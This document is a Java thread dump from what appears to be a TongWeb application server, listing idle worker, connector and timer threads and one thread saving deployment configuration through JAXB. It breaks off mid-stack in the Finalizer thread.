+"JCA-default-thread-pool-worker-8" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-5" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-9" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-10" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-5" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-2" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #94 daemon [WAITING] on java.util.TaskQueue@54a098aa + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"JCA-default-thread-pool-worker-2" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-10" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-Acceptor-0" #120 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-7" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-1" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-AsyncTimeout" #106 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1292) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-2" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-9" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #105 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349) + at java.lang.Thread.run(Thread.java:750) + +"IntelligentRouterHealthInfoCollector" #170 daemon [TIMED_WAITING] on java.util.TaskQueue@59d60f43 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"snapshot" #122 daemon [TIMED_WAITING] on java.util.TaskQueue@324f821f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"main" #1 [WAITING] on java.lang.Thread@615091b8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:500) + at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:458) + at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747) + at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:381) + at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536) + +"Thread-50" #182 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.util.zip.ZipFile.read(Native Method) + at java.util.zip.ZipFile.access$1400(ZipFile.java:61) + at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:741) + at java.io.FilterInputStream.read(FilterInputStream.java:133) + at java.io.DataInputStream.readFully(DataInputStream.java:195) + at java.io.DataInputStream.readUTF(DataInputStream.java:609) + at java.io.DataInputStream.readUTF(DataInputStream.java:564) + at com.sun.xml.internal.bind.v2.bytecode.ClassTailor.tailor(ClassTailor.java:131) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.tailor(AccessorInjector.java:107) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.prepare(AccessorInjector.java:68) + at com.sun.xml.internal.bind.v2.runtime.reflect.opt.OptimizedAccessorFactory.get(OptimizedAccessorFactory.java:164) + at com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$FieldReflection.optimize(Accessor.java:271) + at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor$CompositeTransducedAccessorImpl.(TransducedAccessor.java:220) + at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor.get(TransducedAccessor.java:160) + at com.sun.xml.internal.bind.v2.runtime.property.AttributeProperty.(AttributeProperty.java:76) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:93) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.ArrayElementProperty.(ArrayElementProperty.java:97) + at com.sun.xml.internal.bind.v2.runtime.property.ArrayElementNodeProperty.(ArrayElementNodeProperty.java:47) + at sun.reflect.GeneratedConstructorAccessor7.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507) + at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90) + at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source) + at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) + at java.lang.reflect.Constructor.newInstance(Constructor.java:423) + at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113) + at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:305) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:124) + at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1123) + at com.sun.xml.internal.bind.v2.ContextFactory.createContext(ContextFactory.java:147) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:247) + at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:234) + at javax.xml.bind.ContextFinder.find(ContextFinder.java:462) + at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:641) + at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:584) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:807) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:840) + at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:829) + at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:257) + at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:133) + at com.tongweb.deploy.util.DeployConfigUtil.addDeployConfig(DeployConfigUtil.java:371) + at com.tongweb.deploy.TongWebDeployer.deploy0(TongWebDeployer.java:430) + at com.tongweb.deploy.TongWebDeployer$1.run(TongWebDeployer.java:328) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-3" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-AsyncTimeout" #121 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1292) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-7" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-6" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"pool-2-thread-1" #148 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2806b63c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-8" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-3" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-1" #119 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-6" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@78331e5e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at 